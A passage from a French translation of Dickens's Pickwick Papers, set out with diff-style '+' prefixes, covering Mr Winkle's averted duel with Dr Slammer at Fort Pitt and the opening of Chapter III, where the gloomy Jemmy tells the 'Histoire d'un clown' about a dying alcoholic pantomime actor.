+part à M. Pickwick; lequel, assurément, s'empresserait d'informer les
+autorités locales, dans la crainte de voir tuer ou détériorer son
+disciple.
+
+Ayant calculé toutes ces chances, il revint dans la salle du café et
+déclara qu'il acceptait le défi du docteur.
+
+--Voulez-vous m'indiquer un ami, pour régler l'heure et le lieu du
+rendez-vous, dit alors l'obligeant officier.
+
+--C'est tout à fait inutile. Veuillez me les nommer, et j'amènerai mon
+témoin avec moi.
+
+--Hé bien! reprit l'officier d'un ton indifférent, ce soir, si cela vous
+convient; au coucher du soleil.
+
+--Très-bien, répliqua M. Winkle, pensant dans son coeur que c'était
+très-mal.
+
+--Vous connaissez le fort Pitt?
+
+--Oui, je l'ai vu hier.
+
+--Prenez la peine d'entrer dans le champ qui borde le fossé; suivez le
+sentier à gauche quand vous arriverez à un angle des fortifications, et
+marchez droit devant vous jusqu'à ce que vous m'aperceviez; vous me
+suivrez alors et je vous conduirai dans un endroit solitaire où
+l'affaire pourra se terminer sans crainte d'interruption.
+
+--Crainte d'interruption! pensa M. Winkle.
+
+--Nous n'avons plus rien, je crois, à arranger?
+
+--Pas que je sache.
+
+--Alors je vous salue.
+
+--Je vous salue.» Et l'officier s'en alla lestement en sifflant un air
+de contredanse.
+
+Le déjeuner de ce jour-là se passa tristement pour nos voyageurs. M.
+Tupman, après les débauches inaccoutumées de la nuit précédente, n'était
+point en état de se lever; M. Snodgrass paraissait subir une poétique
+dépression d'esprit; M. Pickwick lui-même montrait un attachement
+inaccoutumé à l'eau de seltz et au silence; quant à M. Winkle il épiait
+soigneusement une occasion de retenir son témoin. Cette occasion ne
+tarda pas à se présenter: M. Snodgrass proposa de visiter le château, et
+comme M. Winkle était le seul membre de la société qui fût disposé à
+faire une promenade, ils sortirent ensemble.
+
+«Snodgrass, dit M. Winkle, lorsqu'ils eurent tourné le coin de la rue,
+Snodgrass, mon cher ami, puis-je compter sur votre discrétion? Et en
+parlant ainsi il désirait ardemment de n'y pouvoir point compter.
+
+--Vous le pouvez, répliqua M. Snodgrass. Je jure....
+
+--Non, non! interrompit M. Winkle, épouvanté par l'idée que son
+compagnon pouvait innocemment s'engager à ne pas le dénoncer. Ne jurez
+pas, ne jurez pas; cela n'est point nécessaire.»
+
+M. Snodgrass laissa retomber la main qu'il avait poétiquement levée vers
+les nuages, et prit une attitude attentive.
+
+«Mon cher ami, dit alors M. Winkle, j'ai besoin de votre assistance dans
+une affaire d'honneur.
+
+--Vous l'aurez, répliqua M. Snodgrass, en serrant la main de son
+compagnon.
+
+--Avec un docteur, le docteur Slammer, du 97e, ajouta M. Winkle,
+désirant faire paraître la chose aussi solennelle que possible. Une
+affaire avec un officier, ayant pour témoin un autre officier; ce soir,
+au coucher du soleil, dans un champ solitaire, au delà du fort Pitt.
+
+--Comptez sur moi, répondit M. Snodgrass, avec étonnement, mais sans
+être autrement affecté. En effet, rien n'est plus remarquable que la
+froideur avec laquelle on prend ces sortes d'affaires, quand on n'y est
+point partie principale. M. Winkle avait oublié cela: il avait jugé les
+sentiments de son ami d'après les siens.
+
+--Les conséquences peuvent être terribles, reprit M. Winkle.
+
+--J'espère que non.
+
+--Le docteur est, je pense, un très-bon tireur.
+
+--La plupart des militaires le sont, observa M. Snodgrass avec calme;
+mais ne l'êtes-vous point aussi?»
+
+M. Winkle répondit affirmativement, et s'apercevant qu'il n'avait point
+suffisamment alarmé son compagnon, il changea de batterie.
+
+«Snodgrass, dit-il d'une voix tremblante d'émotion, si je succombe vous
+trouverez dans mon portefeuille une lettre pour mon... pour mon père.»
+
+Cette attaque ne réussit point davantage. M. Snodgrass fut touché, mais
+il s'engagea à remettre la lettre aussi facilement que s'il avait fait
+toute sa vie le métier de facteur.
+
+«Si je meurs, continua M. Winkle, ou si le docteur périt, vous, mon cher
+ami, vous serez jugé comme complice en préméditation. Faut-il donc que
+j'expose un ami à la transportation? peut-être pour toute sa vie!»
+
+Pour le coup, M. Snodgrass hésita; mais son héroïsme fut invincible.
+«Dans la cause de l'amitié, s'écria-t-il avec ferveur, je braverai tous
+les dangers.»
+
+Dieu sait combien notre duelliste maudit intérieurement le dévouement de
+son ami. Ils marchèrent pendant quelque temps en silence, ensevelis tous
+les deux dans leurs méditations. La matinée s'écoulait et M. Winkle
+sentait s'enfuir toute chance de salut.
+
+«Snodgrass, dit-il en s'arrêtant tout d'un coup, n'allez point me trahir
+auprès des autorités locales; ne demandez point des constables pour
+prévenir le duel; ne vous assurez pas de ma personne, ou de celle du
+docteur Slammer, du 97e, actuellement en garnison dans la caserne de
+Chatham. Afin d'empêcher le duel, n'ayez point cette prudence, je vous
+en prie.»
+
+M. Snodgrass saisit avec chaleur la main de son compagnon et s'écria,
+plein d'enthousiasme: «Non! pour rien au monde.»
+
+Un frisson parcourut le corps de M. Winkle quand il vit qu'il n'avait
+rien à espérer des craintes de son ami, et qu'il était irrévocablement
+destiné à devenir une cible vivante.
+
+Lorsqu'il eut raconté formellement à M. Snodgrass les détails de son
+affaire, ils entrèrent tous deux chez un armurier; ils louèrent une
+boîte de ces pistolets qui sont destinés à donner et à obtenir
+_satisfaction_, ils y joignirent un assortiment _satisfaisant_ de
+poudre, de capsules et de balles; puis ils retournèrent à leur auberge,
+M. Winkle pour réfléchir sur la lutte qu'il avait à soutenir; M.
+Snodgrass pour arranger les armes de guerre, et les mettre en état de
+servir immédiatement.
+
+Lorsqu'ils sortirent de nouveau pour leur désagréable entreprise, le
+soir s'approchait, triste et pesant. M. Winkle, de peur d'être observé,
+s'était enveloppé dans un large manteau: M. Snodgrass portait sous le
+sien les instruments de destruction.
+
+«Avez-vous pris tout ce qu'il faut? demanda M. Winkle, d'un ton agité.
+
+--Tout ce qu'il faut. Quantité de munitions, dans le cas où les premiers
+coups n'auraient point de résultats. Il y a un quarteron de poudre dans
+la botte, et j'ai deux journaux dans ma poche pour servir de bourre.»
+
+C'étaient là des preuves d'amitié dont il était impossible de n'être
+point reconnaissant. Il est probable que la gratitude de M. Winkle fut
+trop vive pour qu'il pût l'exprimer, car il ne dit rien, mais il
+continua de marcher, assez lentement.
+
+«Nous arrivons juste à l'heure, dit M. Snodgrass en franchissant la haie
+du premier champ; voilà le soleil qui descend derrière l'horizon.»
+
+M. Winkle regarda le disque qui s'abaissait, et il pensa douloureusement
+aux chances qu'il courait de ne jamais le revoir.
+
+«Voici l'officier, s'écria-t-il au bout de quelque temps.
+
+--Où? dit M. Snodgrass.
+
+--Là. Ce gentleman en manteau bleu.»
+
+Les yeux de M. Snodgrass suivirent le doigt de son compagnon, et
+aperçurent une longue figure drapée, qui fit un léger signe de la main,
+et continua de marcher. Nos deux amis s'avancèrent silencieusement à sa
+suite.
+
+De moment en moment la soirée devenait plus sombre. Un vent mélancolique
+retentissait dans les champs déserts: on eût dit le sifflement lointain
+d'un géant, appelant son chien. La tristesse de cette scène communiquait
+une teinte lugubre à l'âme de M. Winkle. En passant l'angle du fossé, il
+tressaillit, il avait cru voir une tombe colossale.
+
+L'officier quitta tout à coup le sentier, et après avoir escaladé une
+palissade et enjambé une haie, il entra dans un champ écarté. Deux
+messieurs l'y attendaient. L'un était un petit personnage gros et gras,
+avec des cheveux noirs; l'autre, grand et bel homme, avec une redingote
+couverte de brandebourgs, était assis sur un pliant avec une sérénité
+parfaite.
+
+«Voilà nos gens, avec un chirurgien, à ce que je suppose dit M.
+Snodgrass. Prenez une goutte d'eau-de-vie.» M. Winkle saisit avidement
+la bouteille d'osier que lui tendait son compagnon et avala une longue
+gorgée de ce liquide fortifiant.
+
+«Mon ami, M. Snodgrass,» dit M. Winkle à l'officier qui s'approchait.
+
+Le second du docteur Slammer salua et produisit une boîte semblable à
+celle que M. Snodgrass avait apportée. «Je pense que nous n'avons rien
+de plus à nous dire, monsieur, remarqua-t-il froidement, en ouvrant sa
+boîte. Des excuses ont été absolument refusées.
+
+--Rien du tout, monsieur, répondit M. Snodgrass, qui commençait à se
+sentir mal à son aise.
+
+--Voulez-vous que nous mesurions le terrain? dit l'officier.
+
+--Certainement,» répliqua M. Snodgrass.
+
+Lorsque le terrain eut été mesuré et les préliminaires arrangés,
+l'officier dit à M. Snodgrass: «Vous trouverez ces pistolets meilleurs
+que les vôtres, monsieur. Vous me les avez vu charger; vous opposez-vous
+à ce qu'on en fasse usage?
+
+--Non, certainement, répondit M. Snodgrass. Cette offre le tirait d'un
+grand embarras, car ses idées sur la manière de charger un pistolet
+étaient tant soit peu vagues et indéfinies.
+
+--Alors je pense que nous pouvons placer nos hommes, continua
+l'officier, avec autant d'indifférence que s'il s'était agi d'une partie
+d'échecs.
+
+--Je pense que nous le pouvons,» répliqua M. Snodgrass, qui aurait
+consenti à toute autre proposition, vu qu'il n'entendait rien à ces
+sortes d'affaires.
+
+L'officier alla vers le docteur Slammer, tandis que M. Snodgrass
+s'approchait de M. Winkle.
+
+«Tout est prêt, dit-il, en lui offrant le pistolet. Donnez-moi votre
+manteau.
+
+--Vous avez mon portefeuille, mon cher ami, dit le pauvre Winkle.
+
+--Tout va bien. Soyez calme et visez tout bonnement à l'épaule.»
+
+M. Winkle trouva que cet avis ressemblait beaucoup à celui que les
+spectateurs donnent invariablement au plus petit gamin dans les duels
+des rues. «Mets-le dessous et tiens-le ferme.» Admirable conseil, si
+l'on savait seulement comment l'exécuter! Quoi qu'il en soit, il ôta son
+manteau en silence (ce manteau était toujours très-long à défaire); il
+accepta le pistolet: les seconds se retirèrent, le monsieur au pliant en
+fit autant, et les belligérants s'avancèrent l'un vers l'autre.
+
+M. Winkle a toujours été remarquable par son extrême humanité. On
+suppose que dans cette occasion la répugnance qu'il éprouvait à nuire
+intentionnellement à l'un de ses semblables, l'engagea à fermer les yeux
+en arrivant à l'endroit fatal, et que cette circonstance l'empêcha de
+remarquer la conduite inexplicable du docteur Slammer. Ce monsieur, en
+s'approchant de M. Winkle, tressaillit, ouvrit de grands yeux, recula,
+frotta ses paupières, ouvrit de nouveau ses yeux, autant qu'il lui fut
+possible, et finalement s'écria: «Arrêtez! arrêtez!
+
+--Qu'est-ce que cela veut dire? continua-t-il lorsque son ami et M.
+Snodgrass arrivèrent en courant. Ce n'est pas là mon homme.
+
+--Ce n'est pas votre homme! s'écria le second du docteur Slammer.
+
+--Ce n'est pas son homme! dit M. Snodgrass.
+
+--Ce n'est pas son homme! répéta le monsieur qui tenait le pliant dans
+sa main.
+
+--Certainement non, reprit le petit docteur. Ça n'est pas la personne
+qui m'a insulté la nuit passée.
+
+--Fort extraordinaire! dit l'officier.
+
+--Fort extraordinaire! répéta le gentleman au pliant. Mais maintenant,
+ajouta-t-il, voici la question. Le monsieur se trouvant actuellement sur
+le terrain, ne doit-il pas être considéré, pour la forme, comme étant
+l'individu qui a insulté hier soir notre ami, le docteur Slammer?» Ayant
+suggéré cette idée nouvelle d'un air sage et mystérieux, l'homme au
+pliant prit une énorme pincée de tabac, et regarda autour de lui, avec
+la profondeur de quelqu'un qui est habitué à faire autorité.
+
+Or, M. Winkle avait ouvert ses yeux et ses oreilles aussi, quand il
+avait entendu son adversaire demander une cessation d'hostilités.
+S'apercevant par ce qui avait été dit ensuite qu'il y avait quelque
+erreur de personnes, il comprit tout d'un coup combien sa réputation
+pouvait s'accroître s'il cachait les motifs réels qui l'avaient
+déterminé à se battre. Il s'avança donc hardiment et dit:
+
+«Je sais bien que je ne suis pas l'adversaire de monsieur.
+
+--Alors, dit l'homme au pliant, ceci est un affront pour le docteur
+Slammer, et un motif suffisant de continuer.
+
+--Tenez-vous tranquille, Payne, interrompit le second du docteur; et
+s'adressant à M. Winkle: Pourquoi ne m'avez-vous pas communiqué cela ce
+matin, monsieur?
+
+--Assurément! assurément! s'écria avec indignation l'homme au pliant.
+
+--Je vous supplie de vous tenir tranquille, Payne, reprit l'autre.
+Puis-je répéter ma question, monsieur?
+
+--Parce que, répliqua M. Winkle qui avait eu le temps de délibérer sa
+réponse: parce que vous m'avez dit, monsieur, que l'individu en question
+était revêtu d'un habit que j'ai l'honneur, non-seulement de porter,
+mais d'avoir inventé. C'est l'uniforme projeté du Pickwick-Club, à
+Londres. Je me crois obligé de soutenir l'honneur de cet uniforme, et
+dans cette vue, sans autres informations, j'ai accepté le défi que vous
+me faisiez.
+
+--Mon cher monsieur, dit le bon petit docteur, en lui tendant la main,
+j'honore votre courage. Permettez-moi d'ajouter que j'admire extrêmement
+votre conduite, et que je regrette beaucoup de vous avoir fait déranger
+inutilement.
+
+--Je vous prie de ne point parler de cela, répondit M. Winkle avec
+politesse.
+
+--Je me trouverai honoré, monsieur, de faire votre connaissance,
+poursuivit le petit docteur.
+
+--Et moi, monsieur, j'éprouverai le plus grand plaisir à vous
+connaître,» répliqua M. Winkle. Et là-dessus il donna une poignée de
+main au docteur, une poignée de main à son second, le lieutenant
+Tappleton, une poignée de main à l'homme qui tenait le pliant, une
+poignée de main, enfin, à M. Snodgrass, dont l'admiration était
+excessive pour la noble conduite de son héroïque ami.
+
+«Je pense que nous pouvons nous en retourner maintenant, dit le
+lieutenant Tappleton.
+
+--Certainement, répondit le docteur.
+
+--A moins, suggéra l'homme au pliant, à moins que monsieur Winkle ne se
+trouve offensé par la provocation qu'il a reçue. Si cela était, je
+confesse qu'il aurait droit à une satisfaction.»
+
+M. Winkle, avec une grande abnégation de son _moi_, déclara qu'il était
+entièrement satisfait.
+
+«Peut-être, reprit l'autre, peut-être le témoin du gentleman aura-t-il
+été personnellement blessé de quelques observations que j'ai faites au
+commencement de cette rencontre. Dans ce cas, je serais heureux de lui
+donner satisfaction immédiatement.»
+
+M. Snodgrass se hâta de déclarer qu'il était bien obligé au gentleman de
+l'offre aimable qu'il lui faisait. La seule raison qui l'empêchât d'en
+profiter, c'est qu'il était fort satisfait de la manière dont les choses
+s'étaient passées.
+
+L'affaire s'étant ainsi terminée heureusement, les témoins arrangèrent
+leurs boîtes, et tous quittèrent le terrain avec beaucoup plus de gaieté
+qu'ils n'en laissaient voir en y arrivant.
+
+«Resterez-vous longtemps ici? demanda le docteur Slammer à M. Winkle,
+tandis qu'ils marchaient amicalement côte à côte.
+
+--Je crois que nous partirons après-demain.
+
+--Je serais très-heureux, après ce ridicule quiproquo, si vous vouliez
+bien me faire l'honneur de venir ce soir chez moi, avec votre ami.
+Êtes-vous engagé?
+
+--Nous avons plusieurs amis à l'hôtel du _Taureau_, et je ne voudrais
+point les quitter aujourd'hui. Mais nous serions enchantés si vous
+consentiez à amener ces messieurs pour passer la soirée avec nous.
+
+--Avec grand plaisir. Ne sera-t-il point trop tard, à dix heures, pour
+vous faire une petite visite d'une demi-heure?
+
+--Non certainement. Je serai fort heureux de vous présenter à mes amis,
+M. Pickwick et M. Tupman.
+
+--J'en serai charmé, répliqua le petit docteur, ne soupçonnant guère
+qu'il connaissait déjà M. Tupman.
+
+--Vous viendrez sans faute? demanda M Snodgrass.
+
+--Oh! assurément.»
+
+En parlant ainsi, ils étaient arrivés sur la grande route. Les adieux se
+firent avec cordialité, et tandis que le docteur et ses amis se
+rendirent à leur caserne, M. Winkle et M. Snodgrass rentrèrent
+joyeusement à l'hôtel.
+
+
+
+
+
+CHAPITRE III.
+
+Une nouvelle connaissance. Histoire d'un clown. Une interruption
+désagréable et une rencontre fâcheuse.
+
+
+M. Pickwick avait ressenti quelque inquiétude en voyant se prolonger
+l'absence de ses deux amis, et en se rappelant leur conduite mystérieuse
+pendant toute la matinée. Ce fut donc avec un véritable plaisir qu'il se
+leva pour les recevoir, et avec un intérêt peu ordinaire qu'il leur
+demanda ce qui avait pu les retenir si longtemps. En réponse à cette
+question, M. Snodgrass allait faire l'historique des circonstances que
+nous venons de rapporter, lorsqu'il s'aperçut qu'entre M. Tupman et
+leur compagnon de voyage il y avait dans la chambre un nouvel étranger,
+d'une apparence également singulière. C'était un homme vieilli par les
+soucis, dont la face creuse, aux pommettes proéminentes, avec des yeux
+étincelants quoique profondément encaissés, était rendue plus frappante
+encore par les cheveux noirs et lisses qui pendaient en désordre sur son
+collet. Sa mâchoire était si longue et si maigre qu'on aurait pu croire
+qu'il faisait exprès de retirer ses joues, par une contraction des
+muscles, si l'expression immobile de ses traits et de sa bouche
+entrouverte n'avait pas fait voir que c'était là sa physionomie
+habituelle. Son cou était entouré d'un châle vert, dont les larges
+bouts, descendant sur sa poitrine, étaient aperçus à travers les
+boutonnières usées d'un vieux gilet. Enfin, il avait une longue
+redingote noire, un pantalon de gros drap et des bottes tombant en
+ruines.
+
+Les yeux de M. Snodgrass s'arrêtèrent donc sur ce personnage mal léché,
+et M. Pickwick, qui s'en aperçut, dit en étendant la main de son côté:
+«Un ami de notre nouvel ami. Nous avons découvert ce matin que notre ami
+est engagé au théâtre de cet endroit, quoiqu'il désire que cette
+circonstance ne soit pas généralement connue. Ce gentleman est un membre
+de la même profession, et il allait nous régaler d'une petite anecdote
+lorsque vous êtes entrés.
+
+--Masse d'anecdotes, dit l'étranger du jour précédent, en s'approchant
+de M. Winkle et lui parlant à voix basse: singulier gaillard, pas
+acteur, fait les utilités, homme étrange, toutes sortes de misères. Nous
+l'appelons Jemmy le Lugubre.»
+
+M. Winkle et M. Snodgrass firent des politesses au gentleman qui portait
+ce nom élégant, et s'étant assis autour de la table demandèrent de l'eau
+et de l'eau-de-vie, en imitation du reste de la société.
+
+«Maintenant, monsieur, dit M. Pickwick, voulez-vous nous faire le
+plaisir de commencer votre récit?»
+
+L'individu lugubre tira de sa poche un rouleau de papier malpropre, et
+se tournant vers M. Snodgrass qui venait d'aveindre son mémorandum, il
+lui dit d'une voix creuse, parfaitement en harmonie avec son extérieur:
+
+«Êtes-vous le poëte?
+
+--Je... je m'exerce un peu dans ce genre, répondit M. Snodgrass,
+légèrement déconcerté par la brusquerie de la question.
+
+--Ah! la poésie est dans la vie ce que la lumière et la musique sont au
+théâtre. Dépouillez celui-ci de ses faux embellissements et celle-là de
+ses illusions, que reste-t-il de réel et d'intéressant dans tous les
+deux?
+
+--Cela est bien vrai, monsieur, répliqua M. Snodgrass.
+
+--Assis devant les quinquets, vous faites partie du cercle royal; vous
+admirez les vêtements de soie de la foule brillante; vous tenez-vous, au
+contraire, dans la coulisse, vous êtes le peuple qui fabrique ces beaux
+vêtements; gens inconnus et méprisés qui peuvent tomber et se relever,
+vivre et mourir, comme il plaît à la fortune, sans que personne s'en
+inquiète.
+
+--Certainement, répondit M. Snodgrass, car l'oeil profond de l'homme
+lugubre était fixé sur lui, et il sentait la nécessité de dire quelque
+chose.
+
+--Allons, Jemmy, dit le voyageur espagnol, soyons vifs, pas de
+croassements, ayez l'air sociable.
+
+--Voulez-vous préparer un autre verre avant de commencer?» dit M.
+Pickwick.
+
+L'homme lugubre accepta l'offre, mélangea un verre d'eau et
+d'eau-de-vie, en avala lentement la moitié, développa son rouleau de
+papier et commença à lire et à raconter tour à tour les événements que
+l'on va lire, et que nous avons trouvés inscrits dans les registres du
+club sous le titre de: HISTOIRE D'UN CLOWN.
+
+«Vous ne trouverez rien de merveilleux dans le récit que je vais vous
+faire. Besoins et maladie, ce sont des choses trop connues, dans
+beaucoup d'existences, pour mériter plus d'attention qu'on n'en accorde
+aux vicissitudes journalières de la vie humaine. J'ai rassemblé ces
+notes parce que celui qui en fait le sujet m'était connu depuis fort
+longtemps. J'ai suivi pas à pas sa descente dans l'abîme, jusqu'au
+moment où il atteignit le dernier degré de la misère, dont il ne s'est
+jamais relevé depuis.
+
+«L'homme dont il s'agit était un acteur pantomime, et, comme beaucoup de
+gens de cet état, un ivrogne invétéré. Dans ses beaux jours, avant
+d'être affaibli par la débauche, il recevait un bon salaire, et s'il
+avait été rangé et prudent, il aurait pu le toucher encore durant
+quelques années; quelques années seulement, car ceux qui font ce métier
+meurent de bonne heure ou du moins perdent avant le temps l'énergie
+physique dont ils ont abusé, et qui était leur unique gagne-pain.
+Celui-ci se laissa abrutir si vite qu'il devint impossible de l'employer
+dans les rôles où il était réellement utile au théâtre. Le cabaret avait
+pour lui des charmes auxquels il ne pouvait résister. Les maladies, la
+pauvreté l'attendaient aussi sûrement que la mort s'il continuait le
+même genre de vie, et cependant il le continua. Vous devinez ce qui dut
+en résulter. Il ne put obtenir d'engagement et il manqua de pain.
+
+Tous ceux qui connaissent un peu le théâtre savent quelle nuée
+d'individus misérables, râpés, affamés, entourent toujours un vaste
+établissement de ce genre. Ce ne sont pas des acteurs engagés
+régulièrement, mais des comparses passagers, des figurants, des
+paillasses, etc., qui sont employés tant que dure une pantomime ou
+quelque féerie de Noël et qui sont remerciés ensuite, jusqu'à ce qu'une
+nouvelle pièce, exigeant un nombreux personnel, réclame de nouveau leurs
+services. Notre homme fut obligé d'avoir recours à ce genre de vie, et
+comme, en outre, il prit chaque soir le fauteuil dans un de ces cafés
+chantants de bas étage qui restent ouverts après la fermeture des
+théâtres, il gagna quelques shillings de plus par semaine, ce qui lui
+permit de se livrer à ses vieux penchants. Mais cette ressource même lui
+manqua bientôt, son ivrognerie l'empêchant de mériter la faible pitance
+qu'il aurait pu se procurer de cette manière. Il se trouva donc réduit à
+la misère la plus absolue; toujours sur le point de mourir de faim, et
+n'échappant à cette destinée qu'en recevant quelques secours d'un ancien
+camarade, ou en obtenant d'être employé par hasard à l'un des plus
+petits spectacles. Encore, le peu qu'il attrapait ainsi était-il dépensé
+suivant le même système.
+
+Vers cette époque (il y avait déjà plus d'un an qu'il vivait ainsi, sans
+qu'on sût de quelles ressources) je fus engagé à un des théâtres situés
+du côté sud de la Tamise, et je revis cet homme que j'avais perdu de
+vue, car j'avais parcouru la province pendant qu'il flânait dans les
+carrefours de Londres. La toile était tombée; je venais de me rhabiller,
+et je traversais la scène, quand il me frappa sur l'épaule. Non, jamais
+je n'oublierai la figure repoussante qui se présenta à mes yeux lorsque
+je me retournai. Les personnages fantastiques de la danse des morts, les
+figures les plus horribles, tracées par les peintres les plus habiles,
+rien n'offrit jamais un aspect aussi sépulcral. Il portait le costume
+ridicule d'un paillasse; et son corps bouffi, ses jambes de squelette
+étaient rendus plus horribles encore par cet habit de mascarade. Ses
+yeux vitreux contrastaient affreusement avec la blancheur mate dont
+toute sa face était couverte. Sa tête, grotesquement coiffée et
+tremblante de paralysie, ses longues mains osseuses, frottées de blanc
+d'Espagne, tout contribuait à lui donner une apparence hideuse, hors de
+nature, qu'aucune description ne peut rendre, qu'aujourd'hui encore je
+ne me rappelle qu'en frémissant. Il me prit à part, et d'une voix cassée
+et tremblante, il me raconta un long catalogue de maladies et de
+privations, qu'il termina comme à l'ordinaire en me suppliant de lui
+prêter une bagatelle. Je mis quelque argent dans sa main, et, tandis que
+je m'éloignais, le rideau se leva et j'entendis les bruyants éclats de
+rire que causa sa première culbute sur le théâtre.
+
+Quelques jours après, un petit garçon m'apporta un morceau de papier
+malpropre, par lequel j'étais informé que cet homme était dangereusement
+malade, et qu'il me priait de l'aller voir après la comédie, dans une
+rue dont j'ai oublié le nom, mais qui n'était pas éloignée du théâtre.
+Je promis de m'y rendre aussitôt que je le pourrais, et quand la toile
+fut baissée je partis pour ce triste office.
+
+Il était tard, car j'avais joué dans la dernière pièce, et comme c'était
+une représentation à bénéfice, elle avait duré fort longtemps. La nuit
+était sombre et froide, un vent glacial fouettait violemment la pluie
+contre les vitres des croisées; des mares d'eau s'étaient amassées dans
+ces rues étroites et peu fréquentées; une partie des réverbères, assez
+rares en tout temps, avaient été éteints par la violence de la tempête,
+et je n'étais pas sûr de trouver la demeure qui m'appelait, dans des
+circonstances bien faites pour attrister. Heureusement je ne m'étais pas
+trompé de chemin et je découvris, quoique avec peine, la maison que je
+cherchais. Elle n'avait qu'un seul étage, et l'infortuné que je venais
+voir gisait dans une espèce de grenier, au-dessus d'un hangar qui
+servait de magasin de charbon de terre.
+
+Une femme, à l'air misérable, la femme du paillasse, me reçut sur
+l'escalier, me dit qu'il venait de s'assoupir, et m'ayant introduit
+doucement, me fit asseoir sur une chaise auprès de son lit. Il avait la
+tête tournée du côté du mur, et, comme il ne s'aperçut pas d'abord de ma
+présence, j'eus le temps d'examiner l'endroit où je me trouvais.
+
+Au chevet du grabat près duquel j'étais assis, on avait suspendu des
+lambeaux de couvertures pour préserver le malade du vent qui pénétrait,
+par mille crevasses, dans cette chambre désolée, et qui, à chaque
+instant, agitait ce lourd rideau. Sur une grille rouillée et descellée,
+brûlait lentement du poussier de charbon de terre. A côté, sur une
+vieille table à trois pieds, il y avait plusieurs fioles, un miroir
+brisé et quelques autres ustensiles. Un enfant dormait sur un matelas
+étendu par terre, et sa mère était assise auprès de lui, sur une chaise
+à moitié brisée. Quelques assiettes, quelques tasses, quelques écuelles,
+étaient placées sur une couple de tablettes: au-dessous on avait
+accroché des fleurets avec une paire de souliers de théâtre, et ces
+objets composaient seuls l'ameublement de la chambre, si l'on excepte
+deux ou trois petits paquets de haillons, jetés en désordre dans les
+coins.
+
+Tandis que je considérais cette scène de désolation et que je remarquais
+la respiration pesante, les soubresauts fiévreux du misérable comédien,
+il se tournait et se retournait sans cesse pour trouver une position
+moins douloureuse. Une de ses mains sortit de son lit et me toucha: il
+tressaillit et me regarda avec des yeux hagards.
+
+«John, lui dit sa femme, c'est M. Hutley que vous avez envoyé cherché ce
+soir, vous savez.
+
+--Ha! dit-il en passant sa main sur son front, Hutley! Hutley! voyons.
+Pendant quelques secondes il parut s'efforcer de rassembler ses idées,
+et ensuite, me saisissant fortement par le poignet, il s'écria: Oh! ne
+me quittez pas! ne me quittez pas, vieux camarade! Elle m'assassinera.
+Je sais qu'elle en a envie.
+
+--Y a-t-il longtemps qu'il est comme cela? demandai-je à cette femme qui
+pleurait.
+
+--Depuis hier soir, monsieur. John! John! ne me reconnaissez-vous pas?»
+
+En disant ces mots elle se courbait vers son lit, mais il s'écria avec
+un frisson d'effroi:
+
+«Ne la laissez pas approcher! Repoussez-la! Je ne peux pas la supporter
+près de moi! En parlant ainsi il la regardait d'un air égaré et plein
+d'une terreur mortelle, puis il me dit à l'oreille: Je l'ai battue, Jem.
+Je l'ai battue hier, et bien d'autres fois auparavant. Je l'ai fait
+mourir de faim, et son enfant aussi; et maintenant que je suis faible et
+sans secours, elle va m'assassiner. Je sais qu'elle en a envie. Si comme
+moi, aussi souvent que moi, vous l'aviez entendue gémir et crier, vous
+n'en douteriez pas. Éloignez-la!»
+
+En achevant ces mots il lâcha ma main et retomba épuisé sur son
+oreiller.
+
+Je n'entendais que trop ce que cela signifiait. Si j'avais pu en douter
+un seul instant, il m'aurait suffi, pour le comprendre, d'un coup d'oeil
+jeté sur le visage pâle, sur les formes amaigries de sa malheureuse
+femme. «Vous feriez mieux de vous retirer, dis-je à cette pauvre
+créature, vous ne pouvez pas lui faire de bien. Peut-être sera-t-il plus
+calme s'il ne vous voit pas.» Elle se recula hors de sa vue. Au bout de
+quelques secondes, il ouvrit les yeux et regarda avec anxiété autour de
+lui, en demandant: «Est-elle partie?
+
+--Oui, oui, lui dis-je, elle ne vous fera pas de mal.
+
+--Je vais vous dire ce qui en est, reprit-il d'une voix caverneuse. Elle
+me fait mal! il y a quelque chose dans ses yeux qui me remplit le coeur
+de crainte et qui me rend fou. Toute la nuit dernière ses grands yeux
+fixes et son visage pâle ont été devant moi. Où je me tournais, elle se
+tournait. Quand je me réveillais en sursaut, elle était-là, tout auprès
+de mon lit, à me regarder.» Il s'approcha plus près de moi et ajouta
+d'une voix basse et tremblante: «Jem, il faut qu'elle soit mon mauvais
+ange! un démon! Chut! j'en suis sûr. Si elle n'était qu'une femme, il y
+a longtemps qu'elle serait morte. Aucune femme n'aurait pu endurer ce
+qu'elle a enduré.»
+
+Je me sentis frémir en pensant à la longue série de mépris et de
+cruautés dont un tel homme devait s'être rendu coupable, pour en
+conserver une telle impression. Je ne pus rien lui répondre, car quelle
+espérance, quelle consolation était-il possible d'offrir à un être aussi
+abject?
+
+Je restai là plus de deux heures, pendant lesquelles il se retourna cent
+fois de côté et d'autre, jetant ses bras à droite et à gauche, et
+murmurant des exclamations de douleur ou d'impatience. A la fin il tomba
+dans cet état d'oubli imparfait, où l'esprit erre péniblement de place
+en place, de scène en scène, sans être contrôlé par la raison, mais sans
+pouvoir se débarrasser d'un vague sentiment de souffrances présentes.
+Jugeant alors que son mal ne s'aggraverait pas sur-le-champ, je le
+quittai en promettant à sa femme que je viendrais le revoir le lendemain
+soir, et que je passerais la nuit auprès de lui, si cela était
+nécessaire.
+
+Je tins ma promesse. Les vingt-quatre heures qui s'étaient écoulées
+avaient produit en lui une altération affreuse. Ses yeux, profondément
+creusés, brillaient d'un éclat effrayant; ses lèvres étaient desséchées
+et fendues en plusieurs endroits; sa peau luisait, sèche et brûlante;
+enfin, on voyait sur son visage une expression d'anxiété farouche, qui
+indiquait encore plus fortement les ravages de la maladie, et qui ne
+semblait déjà plus appartenir à la terre. La fièvre le dévorait.
+
+Je pris le siége que j'avais occupé la nuit précédente. Je savais, par
+ce que j'avais entendu dire au médecin, qu'il était à son lit de mort;
+et je restai là, durant les longues heures de la nuit, prêtant l'oreille
+à des sons capables d'émouvoir les âmes les plus endurcies; c'étaient
+les rêveries mystérieuses d'un agonisant.
+
+Je vis ses membres décharnés, qui peu d'heures auparavant se
+disloquaient pour amuser une foule rieuse, je les vis se tordre sous les
+tortures d'une fièvre ardente. J'entendis le rire aigu du paillasse se
+mêler aux murmures du moribond.
+
+C'est une chose touchante de suivre les pensées qui ramènent un malade
+vers les scènes ordinaires, vers les occupations de la vie active,
+lorsque son corps est étendu sans force et sans mouvement devant vos
+yeux. Mais cette impression est infiniment plus forte quand ces
+occupations sont entièrement opposées à toute idée grave et religieuse.
+Le théâtre et le cabaret étaient les principaux sujets de divagation de
+ce malheureux. Dans son délire, il s'imaginait qu'il avait un rôle à
+jouer cette nuit même, qu'il était tard et qu'il devait quitter la
+maison sur-le-champ. Pourquoi le retenait-on? pourquoi l'empêchait-on de
